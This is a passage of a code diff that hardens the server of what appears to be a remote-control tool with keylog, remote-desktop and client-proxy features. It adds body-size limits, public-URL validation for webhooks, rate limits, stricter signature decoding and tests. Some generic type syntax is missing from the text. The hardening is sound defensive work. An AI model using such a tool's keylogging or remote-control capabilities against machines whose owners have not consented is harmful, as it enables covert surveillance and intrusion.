+ { path: "/api/notifications/my-settings/preview/webhook", method: "POST", bytes: 32 * 1024 + 1 },
+ { path: "/api/notifications/push-subscribe", method: "POST", bytes: 16 * 1024 + 1 },
+ { path: "/api/notifications/push-subscribe", method: "DELETE", bytes: 16 * 1024 + 1 },
+ ];
+
+ for (const entry of cases) {
+ const url = new URL(`https://localhost${entry.path}`);
+ const response = await handleNotificationsConfigRoutes(
+ authenticatedJsonRequest(url, entry.method, "{}", entry.bytes),
+ url,
+ server,
+ deps,
+ );
+ expect(response?.status).toBe(413);
+ expect(await response!.json()).toEqual({ error: "Request body too large" });
+ }
+ });
+
+ test("rejects oversized global Telegram credentials before persisting them", async () => {
+ for (const body of [
+ { telegramBotToken: "t".repeat(513) },
+ { telegramChatId: "c".repeat(257) },
+ ]) {
+ const url = new URL("https://localhost/api/notifications/config");
+ const response = await handleNotificationsConfigRoutes(
+ authenticatedJsonRequest(url, "PUT", JSON.stringify(body)),
+ url,
+ server,
+ deps,
+ );
+ expect(response?.status).toBe(400);
+ expect((await response!.json()).error).toContain("too long");
+ }
+ });
+
+ test("accepts per-user Telegram credentials at the limit and rejects larger replacements", async () => {
+ const url = new URL("https://localhost/api/notifications/my-settings");
+ const token = "t".repeat(512);
+ const chatId = "c".repeat(256);
+ const accepted = await handleNotificationsConfigRoutes(
+ authenticatedJsonRequest(
+ url,
+ "PUT",
+ JSON.stringify({ telegram_bot_token: token, telegram_chat_id: chatId }),
+ ),
+ url,
+ server,
+ deps,
+ );
+ expect(accepted?.status).toBe(200);
+ expect(getUserNotificationSettings(adminUserId)?.telegram_bot_token).toBe(token);
+ expect(getUserNotificationSettings(adminUserId)?.telegram_chat_id).toBe(chatId);
+
+ for (const body of [
+ { telegram_bot_token: `${token}x` },
+ { telegram_chat_id: `${chatId}x` },
+ ]) {
+ const rejected = await handleNotificationsConfigRoutes(
+ authenticatedJsonRequest(url, "PUT", JSON.stringify(body)),
+ url,
+ server,
+ deps,
+ );
+ expect(rejected?.status).toBe(400);
+ expect((await rejected!.json()).error).toContain("too long");
+ }
+
+ expect(getUserNotificationSettings(adminUserId)?.telegram_bot_token).toBe(token);
+ expect(getUserNotificationSettings(adminUserId)?.telegram_chat_id).toBe(chatId);
+ });
+});
diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts
index 8cec72f..457a2f7 100644
--- a/Overlord-Server/src/server/routes/notifications-config-routes.ts
+++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts
@@ -2,7 +2,7 @@ import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { getConfig, updateNotificationsConfig } from "../../config";
-import { savePushSubscription, deletePushSubscriptionForUser, getPushSubscriptionsByUser } from "../../db";
+import { savePushSubscription, deletePushSubscriptionForUser } from "../../db";
import { encodeMessage } from "../../protocol";
import {
canUserAccessClient,
@@ -10,13 +10,33 @@ import {
updateUserNotificationSettings,
} from "../../users";
import { requirePermission } from "../../rbac";
+import { consumePushSubscriptionMutationRateLimit } from "../../rateLimit";
import {
DEFAULT_WEBHOOK_TEMPLATE,
DEFAULT_TELEGRAM_TEMPLATE,
- isPrivateOrInternalHostname,
renderNotificationTemplate,
} from "../notification-delivery";
import { getVapidPublicKey } from "../web-push";
+import { fetchPublicHttpResponse, validatePublicHttpUrl } from "../url-security";
+import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body";
+
+const MAX_WEBHOOK_URL_LENGTH = 2_048;
+const MAX_NOTIFICATION_TEMPLATE_LENGTH = 16 * 1024;
+const MAX_PUSH_ENDPOINT_LENGTH = 4_096;
+const MAX_PUSH_KEY_LENGTH = 1_024;
+const MAX_TELEGRAM_BOT_TOKEN_LENGTH = 512;
+const MAX_TELEGRAM_CHAT_ID_LENGTH = 256;
+const MAX_NOTIFICATIONS_CONFIG_BODY_BYTES = 128 * 1024;
+const MAX_USER_NOTIFICATION_SETTINGS_BODY_BYTES = 64 * 1024;
+const MAX_WEBHOOK_PREVIEW_BODY_BYTES = 32 * 1024;
+const MAX_PUSH_SUBSCRIPTION_BODY_BYTES = 16 * 1024;
+
+async function validateWebhookUrl(rawUrl: string): Promise {
+ if (rawUrl.length > MAX_WEBHOOK_URL_LENGTH) {
+ throw new Error("Webhook URL is too long");
+ }
+ return await validatePublicHttpUrl(rawUrl);
+}
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -109,8 +129,11 @@ export async function handleNotificationsConfigRoutes(
let body: any = {};
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, MAX_NOTIFICATIONS_CONFIG_BODY_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
@@ -176,17 +199,21 @@ export async function handleNotificationsConfigRoutes(
? body.clipboardEnabled
: currentConfig.clipboardEnabled || false;
+ if (telegramBotToken.length > MAX_TELEGRAM_BOT_TOKEN_LENGTH) {
+ return Response.json({ error: "Telegram bot token is too long" }, { status: 400 });
+ }
+ if (telegramChatId.length > MAX_TELEGRAM_CHAT_ID_LENGTH) {
+ return Response.json({ error: "Telegram chat ID is too long" }, { status: 400 });
+ }
+
if (webhookUrl) {
try {
- const parsed = new URL(webhookUrl);
- if (!/^https?:$/.test(parsed.protocol)) {
- return Response.json(
- { error: "Webhook URL must be http(s)" },
- { status: 400 },
- );
- }
- } catch {
- return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
+ await validateWebhookUrl(webhookUrl);
+ } catch (error: any) {
+ return Response.json(
+ { error: error?.message || "Invalid webhook URL" },
+ { status: 400 },
+ );
}
}
@@ -276,8 +303,11 @@ export async function handleNotificationsConfigRoutes(
if (req.method === "PUT") {
let body: any = {};
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, MAX_USER_NOTIFICATION_SETTINGS_BODY_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
@@ -290,30 +320,46 @@ export async function handleNotificationsConfigRoutes(
const url_val = body.webhook_url.trim();
if (url_val) {
try {
- const parsed = new URL(url_val);
- if (!/^https?:$/.test(parsed.protocol)) {
- return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
- }
- } catch {
- return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
+ await validateWebhookUrl(url_val);
+ } catch (error: any) {
+ return Response.json(
+ { error: error?.message || "Invalid webhook URL" },
+ { status: 400 },
+ );
}
}
patch.webhook_url = url_val || null;
}
if (typeof body?.webhook_template === "string") {
- patch.webhook_template = body.webhook_template.trim() || null;
+ const template = body.webhook_template.trim();
+ if (template.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) {
+ return Response.json({ error: "Webhook template is too long" }, { status: 400 });
+ }
+ patch.webhook_template = template || null;
}
if (typeof body?.telegram_enabled === "boolean" || typeof body?.telegram_enabled === "number") {
patch.telegram_enabled = body.telegram_enabled ? 1 : 0;
}
if (typeof body?.telegram_bot_token === "string") {
- patch.telegram_bot_token = body.telegram_bot_token.trim() || null;
+ const token = body.telegram_bot_token.trim();
+ if (token.length > MAX_TELEGRAM_BOT_TOKEN_LENGTH) {
+ return Response.json({ error: "Telegram bot token is too long" }, { status: 400 });
+ }
+ patch.telegram_bot_token = token || null;
}
if (typeof body?.telegram_chat_id === "string") {
- patch.telegram_chat_id = body.telegram_chat_id.trim() || null;
+ const chatId = body.telegram_chat_id.trim();
+ if (chatId.length > MAX_TELEGRAM_CHAT_ID_LENGTH) {
+ return Response.json({ error: "Telegram chat ID is too long" }, { status: 400 });
+ }
+ patch.telegram_chat_id = chatId || null;
}
if (typeof body?.telegram_template === "string") {
- patch.telegram_template = body.telegram_template.trim() || null;
+ const template = body.telegram_template.trim();
+ if (template.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) {
+ return Response.json({ error: "Telegram template is too long" }, { status: 400 });
+ }
+ patch.telegram_template = template || null;
}
if (typeof body?.client_event_webhook === "boolean" || typeof body?.client_event_webhook === "number") {
patch.client_event_webhook = body.client_event_webhook ? 1 : 0;
@@ -346,8 +392,11 @@ export async function handleNotificationsConfigRoutes(
let body: any = {};
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, MAX_WEBHOOK_PREVIEW_BODY_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
@@ -360,20 +409,16 @@ export async function handleNotificationsConfigRoutes(
let parsed: URL;
try {
- parsed = new URL(webhookUrl);
- if (!/^https?:$/.test(parsed.protocol)) {
- return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
- }
- } catch {
- return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
- }
-
- if (isPrivateOrInternalHostname(parsed.hostname.toLowerCase())) {
+ parsed = await validateWebhookUrl(webhookUrl);
+ } catch (error: any) {
return Response.json(
- { error: "Webhook URL points at a private/internal address" },
+ { error: error?.message || "Invalid webhook URL" },
{ status: 400 },
);
}
+ if (webhookTemplate.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) {
+ return Response.json({ error: "Webhook template is too long" }, { status: 400 });
+ }
const sampleRecord = {
id: "preview-notification",
@@ -432,13 +477,13 @@ export async function handleNotificationsConfigRoutes(
],
};
sentPayload = JSON.stringify(discordPayload);
- response = await fetch(parsed.toString(), {
+ response = await fetchPublicHttpResponse(parsed.toString(), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: sentPayload,
});
} else {
- response = await fetch(parsed.toString(), {
+ response = await fetchPublicHttpResponse(parsed.toString(), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: jsonPayloadToSend,
@@ -483,11 +528,27 @@ export async function handleNotificationsConfigRoutes(
});
}
+ if (req.method === "POST" || req.method === "DELETE") {
+ const rateLimit = consumePushSubscriptionMutationRateLimit(user.userId);
+ if (rateLimit.limited) {
+ return Response.json(
+ { error: "Push subscription update rate limit exceeded" },
+ {
+ status: 429,
+ headers: { "Retry-After": String(rateLimit.retryAfter || 60) },
+ },
+ );
+ }
+ }
+
if (req.method === "POST") {
let body: any = {};
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, MAX_PUSH_SUBSCRIPTION_BODY_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
@@ -498,16 +559,49 @@ export async function handleNotificationsConfigRoutes(
if (!endpoint || !p256dh || !auth) {
return Response.json({ error: "Missing subscription fields" }, { status: 400 });
}
+ if (
+ endpoint.length > MAX_PUSH_ENDPOINT_LENGTH ||
+ p256dh.length > MAX_PUSH_KEY_LENGTH ||
+ auth.length > MAX_PUSH_KEY_LENGTH
+ ) {
+ return Response.json({ error: "Subscription field is too long" }, { status: 400 });
+ }
+ try {
+ const parsed = await validatePublicHttpUrl(endpoint);
+ if (parsed.protocol !== "https:") {
+ return Response.json({ error: "Push endpoint must use HTTPS" }, { status: 400 });
+ }
+ } catch (error: any) {
+ return Response.json(
+ { error: error?.message || "Invalid push endpoint" },
+ { status: 400 },
+ );
+ }
- savePushSubscription(user.userId, endpoint, p256dh, auth);
- return Response.json({ ok: true });
+ const saved = savePushSubscription(user.userId, endpoint, p256dh, auth);
+ if (!saved.ok) {
+ if (saved.reason === "global_limit") {
+ return Response.json(
+ { error: "The server push subscription limit has been reached" },
+ { status: 503, headers: { "Retry-After": "300" } },
+ );
+ }
+ return Response.json(
+ { error: "This push endpoint is already registered" },
+ { status: 409 },
+ );
+ }
+ return Response.json({ ok: true, replacedOldest: !!saved.evictedEndpoint });
}
if (req.method === "DELETE") {
let body: any = {};
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, MAX_PUSH_SUBSCRIPTION_BODY_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
@@ -515,6 +609,9 @@ export async function handleNotificationsConfigRoutes(
if (!endpoint) {
return Response.json({ error: "Missing endpoint" }, { status: 400 });
}
+ if (endpoint.length > MAX_PUSH_ENDPOINT_LENGTH) {
+ return Response.json({ error: "Subscription endpoint is too long" }, { status: 400 });
+ }
deletePushSubscriptionForUser(user.userId, endpoint);
return Response.json({ ok: true });
diff --git a/Overlord-Server/src/server/routes/proxy-routes.security.test.ts b/Overlord-Server/src/server/routes/proxy-routes.security.test.ts
new file mode 100644
index 0000000..33afa03
--- /dev/null
+++ b/Overlord-Server/src/server/routes/proxy-routes.security.test.ts
@@ -0,0 +1,75 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { generateToken } from "../../auth";
+import {
+ createUser,
+ deleteUser,
+ getUserById,
+ setUserExtraPermissions,
+} from "../../users";
+import { handleMiscRoutes } from "./misc-routes";
+
+const createdUserIds: number[] = [];
+let operatorToken = "";
+let viewerToken = "";
+
+const deps = {
+ CORS_HEADERS: {},
+ SERVER_VERSION: "test",
+ PUBLIC_ROOT: ".",
+ requestIP: () => ({ address: "127.0.0.1" }),
+ getConsoleSessionCount: () => 0,
+ getRdSessionCount: () => 0,
+ getFileBrowserSessionCount: () => 0,
+ getProcessSessionCount: () => 0,
+};
+
+beforeAll(async () => {
+ const suffix = crypto.randomUUID().slice(0, 8);
+ const operator = await createUser(
+ `proxy_operator_${suffix}`,
+ "Aa1!ProxyRouteSecurityPass123",
+ "operator",
+ "test",
+ );
+ const viewer = await createUser(
+ `proxy_viewer_${suffix}`,
+ "Aa1!ProxyRouteSecurityPass123",
+ "viewer",
+ "test",
+ );
+ if (!operator.success || !operator.userId || !viewer.success || !viewer.userId) {
+ throw new Error("failed to create proxy route test users");
+ }
+ createdUserIds.push(operator.userId, viewer.userId);
+ operatorToken = await generateToken(getUserById(operator.userId)!);
+ setUserExtraPermissions(viewer.userId, ["clients:control"]);
+ viewerToken = await generateToken(getUserById(viewer.userId)!);
+});
+
+afterAll(() => {
+ for (const id of createdUserIds) deleteUser(id);
+});
+
+async function listProxies(token?: string): Promise {
+ const url = new URL("https://localhost/api/proxy/list");
+ const request = new Request(url, token
+ ? { headers: { Authorization: `Bearer ${token}` } }
+ : undefined);
+ const response = await handleMiscRoutes(request, url, deps);
+ if (!response) throw new Error("proxy list route was not handled");
+ return response;
+}
+
+describe("SOCKS proxy route authorization", () => {
+ test("requires authentication", async () => {
+ expect((await listProxies()).status).toBe(401);
+ });
+
+ test("allows an operator with clients:control", async () => {
+ expect((await listProxies(operatorToken)).status).toBe(200);
+ });
+
+ test("retains the non-viewer role gate even with a direct permission grant", async () => {
+ expect((await listProxies(viewerToken)).status).toBe(403);
+ });
+});
diff --git a/Overlord-Server/src/server/routes/registration-body-security.test.ts b/Overlord-Server/src/server/routes/registration-body-security.test.ts
new file mode 100644
index 0000000..07e806b
--- /dev/null
+++ b/Overlord-Server/src/server/routes/registration-body-security.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, test } from "bun:test";
+import { getConfig, updateRegistrationConfig } from "../../config";
+import { handleRegistrationRoutes } from "./registration-routes";
+
+describe("public registration body limits", () => {
+ test("rejects an oversized body before JSON buffering", async () => {
+ const original = { ...getConfig().registration };
+ await updateRegistrationConfig({ mode: "open" });
+ try {
+ const url = new URL("https://localhost/api/register");
+ const response = await handleRegistrationRoutes(
+ new Request(url, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ "Content-Length": String(16 * 1024 + 1),
+ },
+ body: "{}",
+ }),
+ url,
+ { requestIP: () => ({ address: `198.51.100.${Math.floor(Math.random() * 200) + 1}` }) },
+ );
+
+ expect(response?.status).toBe(413);
+ expect(await response!.json()).toMatchObject({ error: "Request body too large" });
+ } finally {
+ await updateRegistrationConfig(original);
+ }
+ });
+});
diff --git a/Overlord-Server/src/server/routes/registration-routes.ts b/Overlord-Server/src/server/routes/registration-routes.ts
index 138b427..9a632da 100644
--- a/Overlord-Server/src/server/routes/registration-routes.ts
+++ b/Overlord-Server/src/server/routes/registration-routes.ts
@@ -3,6 +3,7 @@ import { AuditAction, logAudit } from "../../auditLog";
import { getConfig } from "../../config";
import { logger } from "../../logger";
import { requirePermission } from "../../rbac";
+import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body";
import {
registerUser,
deleteUser,
@@ -29,6 +30,7 @@ interface RegRateLimitEntry {
const regRateLimitStore = new Map();
const REG_MAX_ATTEMPTS = 5;
const REG_WINDOW_MS = 60 * 60 * 1000; // 1 hour
+const REGISTRATION_BODY_MAX_BYTES = 16 * 1024;
function isRegRateLimited(ip: string): boolean {
const entry = regRateLimitStore.get(ip);
@@ -114,8 +116,11 @@ export async function handleRegistrationRoutes(
let body: any;
try {
- body = await req.json();
- } catch {
+ body = await readJsonBodyLimited(req, REGISTRATION_BODY_MAX_BYTES);
+ } catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ error: "Request body too large" }, { status: 413 });
+ }
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
diff --git a/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts b/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts
index 13c9bec..a72fb2b 100644
--- a/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts
+++ b/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts
@@ -62,6 +62,24 @@ describe("WebRTC viewer authorization", () => {
expect(response!.status).toBe(403);
});
+ test("rejects oversized SDP before proxying it upstream", async () => {
+ const auth = await makeOperator();
+ const url = new URL("https://localhost/api/webrtc/agents/client-a/desktop/whep");
+ const response = await handleWebrtcRoutes(
+ new Request(url, {
+ method: "POST",
+ headers: {
+ Authorization: `Bearer ${auth.token}`,
+ "Content-Length": String(1024 * 1024 + 1),
+ },
+ body: "offer",
+ }),
+ url,
+ );
+
+ expect(response!.status).toBe(413);
+ });
+
test("revokes only the matching user's tracked media sessions", async () => {
const deleted: string[] = [];
trackWebrtcViewerSession({
diff --git a/Overlord-Server/src/server/routes/webrtc-routes.ts b/Overlord-Server/src/server/routes/webrtc-routes.ts
index 613a79d..de8cad8 100644
--- a/Overlord-Server/src/server/routes/webrtc-routes.ts
+++ b/Overlord-Server/src/server/routes/webrtc-routes.ts
@@ -3,11 +3,13 @@ import { authenticateRequest } from "../../auth";
import { requireClientAccess, requireFeatureAccess } from "../../rbac";
import { logger } from "../../logger";
import { issueTurnIceServers } from "../turn-credentials";
+import { readBodyLimited, RequestBodyTooLargeError } from "../request-body";
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
const PUBLISH_TOKEN_TTL_MS = 60_000;
+const MAX_WEBRTC_SIGNAL_BODY_BYTES = 1024 * 1024;
type PublishToken = { clientId: string; expiresAt: number };
const publishTokens = new Map();
@@ -149,7 +151,14 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise void;
handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket) => void;
notifyRdInputLatency: (commandId: string) => void;
- handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
+ handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined, clientId?: string) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
@@ -289,22 +289,200 @@ type WsLifecycleDeps = {
};
const ENROLLMENT_TIMEOUT_MS = 30_000;
-const enrollmentTimeouts = new Map>();
+const MAX_PRE_ENROLLMENT_MESSAGE_BYTES = 32 * 1024;
-function clearEnrollmentTimeout(clientId: string) {
- const t = enrollmentTimeouts.get(clientId);
+export type EnrollmentAdmissionLimits = {
+ maxActiveGlobal: number;
+ maxActivePerIp: number;
+ maxVerifyingGlobal: number;
+ verificationAttemptsPerSecond: number;
+ verificationAttemptBurst: number;
+};
+
+export type EnrollmentAdmissionDenial =
+ | "global_socket_limit"
+ | "per_ip_socket_limit"
+ | "not_admitted"
+ | "already_verifying"
+ | "verification_concurrency"
+ | "verification_rate";
+
+type EnrollmentAdmissionDecision =
+ | { ok: true }
+ | { ok: false; reason: EnrollmentAdmissionDenial };
+
+function normalizedAdmissionIp(value: unknown): string {
+ if (typeof value !== "string") return "";
+ const clean = value.trim().slice(0, 128);
+ return clean || "";
+}
+
+function positiveEnrollmentEnv(
+ name: string,
+ fallback: number,
+ min: number,
+ max: number,
+): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isSafeInteger(parsed) || parsed < min) return fallback;
+ return Math.min(max, parsed);
+}
+
+export function createEnrollmentAdmissionController(rawLimits: EnrollmentAdmissionLimits) {
+ const normalizeLimit = (value: number): number =>
+ Number.isSafeInteger(value) && value > 0 ? Math.floor(value) : 1;
+ const limits: EnrollmentAdmissionLimits = {
+ maxActiveGlobal: normalizeLimit(rawLimits.maxActiveGlobal),
+ maxActivePerIp: normalizeLimit(rawLimits.maxActivePerIp),
+ maxVerifyingGlobal: normalizeLimit(rawLimits.maxVerifyingGlobal),
+ verificationAttemptsPerSecond: normalizeLimit(rawLimits.verificationAttemptsPerSecond),
+ verificationAttemptBurst: normalizeLimit(rawLimits.verificationAttemptBurst),
+ };
+ const sockets = new Map();
+ const activeByIp = new Map();
+ let verifying = 0;
+ let attemptTokens = limits.verificationAttemptBurst;
+ let attemptTokensUpdatedAt = 0;
+
+ function refillAttemptTokens(now: number): void {
+ if (attemptTokensUpdatedAt === 0) {
+ attemptTokensUpdatedAt = now;
+ return;
+ }
+ const elapsedMs = Math.max(0, Math.min(60_000, now - attemptTokensUpdatedAt));
+ attemptTokens = Math.min(
+ limits.verificationAttemptBurst,
+ attemptTokens + elapsedMs * limits.verificationAttemptsPerSecond / 1_000,
+ );
+ attemptTokensUpdatedAt = now;
+ }
+
+ return {
+ admit(socket: object, ipValue: unknown): EnrollmentAdmissionDecision {
+ if (sockets.has(socket)) return { ok: true };
+ const ip = normalizedAdmissionIp(ipValue);
+ if (sockets.size >= limits.maxActiveGlobal) {
+ return { ok: false, reason: "global_socket_limit" };
+ }
+ const ipActive = activeByIp.get(ip) || 0;
+ if (ipActive >= limits.maxActivePerIp) {
+ return { ok: false, reason: "per_ip_socket_limit" };
+ }
+ sockets.set(socket, { ip, verifying: false });
+ activeByIp.set(ip, ipActive + 1);
+ return { ok: true };
+ },
+
+ beginVerification(socket: object, now = Date.now()): EnrollmentAdmissionDecision {
+ const entry = sockets.get(socket);
+ if (!entry) return { ok: false, reason: "not_admitted" };
+ if (entry.verifying) return { ok: false, reason: "already_verifying" };
+ if (verifying >= limits.maxVerifyingGlobal) {
+ return { ok: false, reason: "verification_concurrency" };
+ }
+ refillAttemptTokens(now);
+ if (attemptTokens < 1) {
+ return { ok: false, reason: "verification_rate" };
+ }
+ attemptTokens -= 1;
+ entry.verifying = true;
+ verifying += 1;
+ return { ok: true };
+ },
+
+ release(socket: object): boolean {
+ const entry = sockets.get(socket);
+ if (!entry) return false;
+ sockets.delete(socket);
+ if (entry.verifying) verifying = Math.max(0, verifying - 1);
+ const ipActive = Math.max(0, (activeByIp.get(entry.ip) || 0) - 1);
+ if (ipActive === 0) activeByIp.delete(entry.ip);
+ else activeByIp.set(entry.ip, ipActive);
+ return true;
+ },
+
+ stats(ipValue?: unknown) {
+ const ip = ipValue === undefined ? undefined : normalizedAdmissionIp(ipValue);
+ return {
+ active: sockets.size,
+ verifying,
+ activeForIp: ip === undefined ? undefined : (activeByIp.get(ip) || 0),
+ attemptTokens,
+ };
+ },
+ };
+}
+
+const enrollmentAdmission = createEnrollmentAdmissionController({
+ // These defaults allow a large fleet to reconnect in bursts while bounding
+ // attacker-retained challenges and expensive signature/build verification.
+ maxActiveGlobal: positiveEnrollmentEnv("OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL", 100_000, 32, 100_000),
+ maxActivePerIp: positiveEnrollmentEnv("OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP", 10_000, 8, 10_000),
+ maxVerifyingGlobal: positiveEnrollmentEnv("OVERLORD_MAX_ENROLLMENT_VERIFICATIONS", 4_096, 4, 4_096),
+ verificationAttemptsPerSecond: positiveEnrollmentEnv(
+ "OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND",
+ 100_000,
+ 8,
+ 100_000,
+ ),
+ verificationAttemptBurst: positiveEnrollmentEnv(
+ "OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST",
+ 200_000,
+ 16,
+ 200_000,
+ ),
+});
+
+export function getEnrollmentAdmissionStats(ip?: string) {
+ return enrollmentAdmission.stats(ip);
+}
+
+function clearEnrollmentTimeout(ws: ServerWebSocket) {
+ const t = ws.data.enrollmentTimeout;
if (t) {
clearTimeout(t);
- enrollmentTimeouts.delete(clientId);
+ ws.data.enrollmentTimeout = undefined;
+ }
+}
+
+function releaseEnrollmentAdmission(ws: ServerWebSocket): void {
+ enrollmentAdmission.release(ws);
+}
+
+function rejectEnrollment(ws: ServerWebSocket): void {
+ ws.data.enrollmentState = "rejected";
+ ws.data.enrollmentNonce = undefined;
+ clearEnrollmentTimeout(ws);
+ releaseEnrollmentAdmission(ws);
+}
+
+const enrollmentAdmissionWarningAt = new Map();
+
+function warnEnrollmentAdmissionDenied(reason: EnrollmentAdmissionDenial): void {
+ const now = Date.now();
+ const last = enrollmentAdmissionWarningAt.get(reason) || 0;
+ if (now - last < 5_000) return;
+ enrollmentAdmissionWarningAt.set(reason, now);
+ logger.warn(`[purgatory] enrollment admission denied reason=${reason}`);
+}
+
+export function decodeCanonicalBase64(value: unknown, expectedBytes: number): Uint8Array | null {
+ if (typeof value !== "string" || value.length === 0 || value.length > 256) return null;
+ try {
+ const decoded = Buffer.from(value, "base64");
+ if (decoded.length !== expectedBytes || decoded.toString("base64") !== value) return null;
+ return Uint8Array.from(decoded);
+ } catch {
+ return null;
}
}
async function verifyEd25519(publicKeyBase64: string, signatureBase64: string, nonceBase64: string): Promise {
try {
- const pubKeyBytes = Buffer.from(publicKeyBase64, "base64");
- const sigBytes = Buffer.from(signatureBase64, "base64");
- const nonceBytes = Buffer.from(nonceBase64, "base64");
- if (pubKeyBytes.length !== 32 || sigBytes.length !== 64) return false;
+ const pubKeyBytes = decodeCanonicalBase64(publicKeyBase64, 32);
+ const sigBytes = decodeCanonicalBase64(signatureBase64, 64);
+ const nonceBytes = decodeCanonicalBase64(nonceBase64, 32);
+ if (!pubKeyBytes || !sigBytes || !nonceBytes) return false;
const key = await crypto.subtle.importKey(
"raw",
pubKeyBytes,
@@ -326,8 +504,81 @@ function computeKeyFingerprint(publicKeyBase64: string): string {
function sanitizeCrashString(value: unknown, maxLen: number): string | undefined {
if (typeof value !== "string") return undefined;
- const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim();
- return clean ? clean.slice(0, maxLen) : undefined;
+ const clean = value.slice(0, maxLen).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim();
+ return clean || undefined;
+}
+
+export const MAX_DISCONNECT_REASON_LENGTH = 128;
+export const MAX_DISCONNECT_DETAIL_LENGTH = 4_096;
+
+export function normalizeDisconnectInfo(payload: unknown): {
+ reason: string;
+ detail?: string;
+} | null {
+ if (!payload || typeof payload !== "object") return null;
+ const data = payload as Record;
+ const reason = typeof data.reason === "string"
+ ? data.reason
+ .slice(0, MAX_DISCONNECT_REASON_LENGTH)
+ .replace(/[\x00-\x1F\x7F]+/g, " ")
+ .replace(/\s+/g, " ")
+ .trim()
+ : "";
+ if (!reason) return null;
+ const detail = sanitizeCrashString(data.detail, MAX_DISCONNECT_DETAIL_LENGTH);
+ return { reason, ...(detail ? { detail } : {}) };
+}
+
+export const MAX_PROXY_TUNNEL_CHUNK_BYTES = 64 * 1024 * 1024;
+
+export function normalizeProxyTunnelChunk(value: unknown): Uint8Array | null {
+ let bytes: Uint8Array;
+ if (value instanceof Uint8Array) bytes = value;
+ else if (value instanceof ArrayBuffer) bytes = new Uint8Array(value);
+ else if (ArrayBuffer.isView(value)) {
+ bytes = new Uint8Array(value.buffer, value.byteOffset, value.byteLength);
+ } else {
+ return null;
+ }
+ return bytes.byteLength > 0 && bytes.byteLength <= MAX_PROXY_TUNNEL_CHUNK_BYTES
+ ? bytes
+ : null;
+}
+
+const CLIENT_INGRESS_BYTE_BURST = 128 * 1024 * 1024;
+const CLIENT_INGRESS_BYTES_PER_SECOND = 32 * 1024 * 1024;
+const CLIENT_INGRESS_MESSAGE_BURST = 512;
+const CLIENT_INGRESS_MESSAGES_PER_SECOND = 256;
+
+export function consumeClientIngressBudget(
+ data: SocketData,
+ size: number,
+ now = Date.now(),
+): boolean {
+ if (!Number.isFinite(size) || size < 0) return false;
+ const previous = Number.isFinite(data.ingressBudgetUpdatedAt)
+ ? data.ingressBudgetUpdatedAt!
+ : now;
+ const elapsedMs = Math.max(0, Math.min(60_000, now - previous));
+ const byteTokens = Math.min(
+ CLIENT_INGRESS_BYTE_BURST,
+ (Number.isFinite(data.ingressByteTokens) ? data.ingressByteTokens! : CLIENT_INGRESS_BYTE_BURST)
+ + elapsedMs * CLIENT_INGRESS_BYTES_PER_SECOND / 1000,
+ );
+ const messageTokens = Math.min(
